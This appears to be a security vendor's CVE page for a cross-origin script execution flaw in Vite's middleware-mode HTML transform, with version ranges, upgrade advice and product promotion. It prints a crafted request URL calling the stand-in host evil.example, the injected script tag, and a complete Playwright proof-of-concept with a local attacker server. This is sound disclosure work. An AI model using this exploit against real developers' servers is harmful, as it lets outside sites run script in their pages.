CVE-2026-112945

CVE-2026-112945 is a low-severity security vulnerability in vite (npm), affecting versions >= 8.3.0, <= 8.3.2. It is fixed in 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4, 1.1.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Vite: Cross origin script execution through Vite custom middleware

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Affected versions

vite (>= 8.3.0, <= 8.3.2) vite (>= 8.2.0, <= 8.2.3) vite (>= 8.0.0, <= 8.1.5) vite (>= 7.0.0, <= 7.3.6) vite (<= 6.4.3) vite-plus (<= 1.0.0)

Security releases

vite → 8.3.3 (npm) vite → 8.2.4 (npm) vite → 8.1.6 (npm) vite → 7.3.7 (npm) vite → 6.4.4 (npm) vite-plus → 1.1.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

vite to 8.3.3 or later; vite to 8.2.4 or later; vite to 8.1.6 or later; vite to 7.3.7 or later; vite to 6.4.4 or later; vite-plus to 1.1.0 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-112945? CVE-2026-112945 is a low-severity security vulnerability in vite (npm), affecting versions >= 8.3.0, <= 8.3.2. It is fixed in 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4, 1.1.0.
  2. Which packages are affected by CVE-2026-112945?
    • vite (npm) (versions >= 8.3.0, <= 8.3.2)
    • vite-plus (npm) (versions <= 1.0.0)
  3. Is there a fix for CVE-2026-112945? Yes. CVE-2026-112945 is fixed in 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4, 1.1.0. Upgrade to this version or later.
  4. Is CVE-2026-112945 exploitable, and should I be worried? Whether CVE-2026-112945 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-112945 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-112945?
    • Upgrade vite to 8.3.3 or later
    • Upgrade vite to 8.2.4 or later
    • Upgrade vite to 8.1.6 or later
    • Upgrade vite to 7.3.7 or later
    • Upgrade vite to 6.4.4 or later
    • Upgrade vite-plus to 1.1.0 or later

Other vulnerabilities in vite

Stop the waste.
Protect your environment with Kodem.